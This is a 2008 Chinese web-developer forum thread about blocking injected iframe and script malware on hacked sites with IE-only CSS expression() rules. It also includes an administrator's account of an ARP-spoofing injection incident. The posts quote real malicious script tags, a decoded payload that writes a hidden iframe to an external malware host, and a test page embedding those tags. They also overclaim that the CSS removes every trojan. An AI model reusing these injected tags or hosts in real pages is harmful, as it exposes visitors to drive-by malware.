打印

[分享/增强]二行代码解决全部网页木马(含iframe/script木马)

本主题由 caiying2007 于 2008-3-28 00:30 设置高亮
  还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。

  前不久《http://bbs.blueidea.com/thread-2818052-1-1.html一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:
复制内容到剪贴板
代码:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:
复制内容到剪贴板
代码:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!
复制内容到剪贴板
代码:
...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)。
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:

<script src=http://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:
复制内容到剪贴板
代码:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
    缺点:访客无法看到被感染了<script>木马的页面。
     

解决方案2:
复制内容到剪贴板
代码:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。


解决方案3:
复制内容到剪贴板
代码:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:
复制内容到剪贴板
代码:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
   原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:
复制内容到剪贴板
代码:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}
   第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)
复制内容到剪贴板
代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>让JS木马的进程迅速中止的CSS代码</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>
其中1.js是自己本站的:
复制内容到剪贴板
代码:
document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的测试环境是:
  Windows XP SP2 和windows Vista SP1
      IE6/IE7/IE8
      已全部打好补丁。
综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

    大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

    很晚了,我要睡觉了。有空再研究。
本帖最近评分记录
  • 蓝色 威望 +2 精品文章 2008-9-21 18:57
nihaoku.cn 心情音乐
这样正常JS就必须使用相对位置了!!
expression

耗资源比较大。
如果不卡的话还是可以使用的。

暂时不敢试用,等我中了再说 ,先收藏之
感谢LZ的分享
惟草木之零落兮,恐美人之迟暮。
方法多,原理一样。

就是抓住了HTTP作死的发挥。。。。

不错。。拒绝一切外链JS

TOP

还在为头像烦恼?还在为不能关注好友动态烦忧?快来蓝色理想家园吧!
收藏了,辛苦LZ了
承接ASP定制,http://08-if.cn/

TOP

楼主太强了!!!
十分不错

TOP

更正第五个方案

上面写到的第五个方案代码写错了,

<script src="***/**.js" id="lhSearchJSapi"></script>

script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}

红色字部分有错误,应该是!=-1,上面的正确写法应该是:

script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==-1)?document.write('木马被成功隔离!'):''));}
复制内容到剪贴板
代码:
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}
复制内容到剪贴板
代码:
<script id="tjJSapivok" title="这是你外域的统计流量的JS代码" type="text/javascript" src="http://js.tongji.yahoo.com.cn/1/188/205/ystat.js"></script>
<script id="otherJSapivok" title="这是你本站需要的JS文件" type="text/javascript" src="footer.js"></script>
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}

<script id="footerJSapivok" src="这里写你本网站的JS路径"  type="text/javascript"></script>
<script id="tongjiJSapivok" src="这里外域的JS路径"  type="text/javascript"></script>

你网站的所有JS标记(<script>)都得加上id属性,并且有一个共同的前缀、后缀或公共字符串,上面的公共字符串为“vok”。

  特此更正,感谢昵称为“网工”的QQ网友提醒。
    研究网页挂马破坏用户的斗争还在继续,也不会停止。还望各位将服务器安全性能配置好点,我这也只是临时避避风雨的办法。

[ 本帖最后由 vickeychen 于 2008-4-3 15:10 编辑 ]
nihaoku.cn 心情音乐

TOP

如果木马加在页面的顶部怎么办呢?这种情况很常见哦。
复制内容到剪贴板
代码:
<script src="http://www.somewhere.com/trojan.js"></script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>让JS木马的进程迅速中止的CSS代码</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body></body>
[Bound0 专题列表]QUE SAIS-JE?
生物信息技术支持动漫论坛动漫分享群:45274013

TOP

一次中标的经过(一个网络安全人员的心酸血泪史)

1:服务器环境:windows20003 P2  weblogic8  oracle9i  发布的jsp网站。
2:出现的问题:
托管机房内一台服务器中ARP病毒,由于我们的服务器和其在同一个网段,
且防火墙在服务器前,出防火墙后,又通过机房的交换机和路由器。

故造成客户端浏览我们的网站网页都出现以下
“病毒”内容:
<script src=http://%76%63%63%64%2E%63%6E></script>

3:公司马上召回网络安全人员(也就是我),迅速解决此问题,否则…………………………(大家想都可以想到,是吧?)

4)本人立刻采取行动:
1)查看中毒网页,记录代码,使用脚本扫描工具查找木马文件;

2)查看近期文件修改日期记录,排查木马。(如果找到可以节省扫描时间,根据以发现木马代码查找其他木马)

3)木马自然未排除,采取覆盖备份的方法来排除服务器中毒的问题。

3)查看中毒大概时间,并且注意到一个细节:当我上传备份网页程序的时候,传输过程中竟然也有病毒代码被添加,同时病毒代码并不是一直在主页上,而是每次刷新5-6次,或者客户第一次登陆的时候出现。这充分说明在传输过程中数据被劫持!

4)使用本地测试无马(127.0.0.1,同时确定主机hosts文件正常。)

5)网络通讯协议抓包,分析。

6)确定是同一个网段内其他服务器中了ARP病毒造成的。


但是(注意是但是):
目前不可能去远在北京的机房,打电话去机房无人接听。

问题必须解决,
在万般无奈,心灰意冷的时候我找到了楼主的文章,
楼主的文章使我如”久旱逢甘雨”老鼠见到大米““一般的喜悦!(未完待续)


[ 本帖最后由 gtb6900 于 2008-4-3 16:03 编辑 ]

TOP

引用:
原帖由 gtb6900 于 2008-4-3 15:58 发表
1:服务器环境:windows20003 P2  weblogic8  oracle9i  发布的jsp网站。
2:出现的问题:
托管机房内一台服务器中ARP病毒,由于我们的服务器和其在同一个网段,
且防火墙在服务器前,出防火墙后,又通过机房的交 ...
搬个板凳听下集了……继续呀!

TOP

居然可以用CSS防止JS木马。楼主太强了。不过我对CSS还不是很清楚,像楼主这样的写法从来没有见过。今天算是长见识了。

TOP

我们继续………………

根据楼主的方法,我采取的临时解决方法是:

将IFrame标签显示成空白页,达到屏蔽iframe标签病毒的目的,
禁止使用外域的js调用,达到防御,屏蔽script病毒的目的,
总而言之把“HTTP”作死里整,哈哈!

实施概要:建议将下面代码写到一个公共的样式表文件里头,但是注意:
我们自己的代码需要调用外域的js的话需要使用补充方案(楼主的第五方案):

防御代码:
复制内容到剪贴板
代码:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
注意:
此方案的一点不足:
中毒后的网页会是空白页面 (黑客的木马也会是。)

幸亏中的是iframe的,要是script的还要麻烦十倍!


最后继续联系北京机房,通过抓包获得病毒机器的信息,存档。叫机房工作人员把那该死的中毒的机器给我搬出去………………顺便要点赔偿,还威胁下中毒机器的主人:“我们保留使用法律武器追究他责任的权利”……………………

[ 本帖最后由 gtb6900 于 2008-4-7 13:41 编辑 ]

TOP

折腾完已经是深夜了!

相信和我一样的网络安全工作者这个时候都在默默的工作着,
为我国的网络事业贡献着自己的一份力量!



[ 本帖最后由 gtb6900 于 2008-4-7 10:10 编辑 ]

TOP

引用:
原帖由 bound0 于 2008-4-3 15:27 发表
如果木马加在页面的顶部怎么办呢?这种情况很常见哦。






让JS木马的进程迅速中止的CSS代码

/**/



同问

TOP

怎么不让他挂呢

TOP

引用:
原帖由 lxydyx 于 2008-4-7 11:53 AM 发表
怎么不让他挂呢
楼上的问的好!
请联系网络安全工作着,给他点钱交给他!
嘿嘿!




1)文件权限问题(人家跨站进来)
2)网页程序的严格问题,网页程序的不严格存在“注入”等漏洞一般是此类木马产生的最常见的原因。
3)小黑已经拿到sell了,能够有权限修改你的网页(通过服务器提权)或者控制你服务器(你中了人家的灰鸽子等)了!

[ 本帖最后由 gtb6900 于 2008-4-7 13:33 编辑 ]

TOP

确实虚拟主机就是这点不好,主机中毒全部网站都完蛋,也不知道是不是他们自己放的

TOP

楼上的朋友说的对哦

主机安全同样重要

不过加了这几行代码也可以预防下小人

TOP

楼主的思维确实很独特,牛人啊。

但是我想如果要从根本上防止网页木马,还得靠主机的安全。

TOP

正受挂马捆绕,看到这贴,看到曙光

TOP

强人~~
收藏了~~
做最好的自己,我能。

TOP

思路很独特,不过我试了一下 怎么好像 效果没有出来啊??
可以看看 www.shcm17.com 是不是没有放好呢??

我是不是因为系统打了补丁 我访问页面 杀毒软件没有任何提示,是不是没有自动把病毒木马下到电脑上来??

TOP

这绝对是极品啊,,,,,
让我受益匪浅哦,,,,,,,,
Smile!!!

TOP

不错 顶你了 辛苦了!!!!!!

TOP

楼主思维不错,呵呵.
大浪淘沙.

TOP

楼主牛逼了!支持!
?!

TOP

之前碰到过这种事,把我的ACCESS里面也插入了木马(我的ACCESS改成了myData.asp)
由于把后缀改成了asp,所以被直接写入了,改回mdb再登就需要密码了

不知道这种破坏能否恢复???

TOP

另外,我对付挂马的方法很简单,直接用DW的查找替换,将查找范围设置为整个当前站点。把病毒代码放在查找里面,直接替换为空白就OK了

TOP

强人...收藏~~谢谢..

TOP

错误的解决方案,
既然网页有问题,应该先去除有问题的代码。。。。
just ok~~

TOP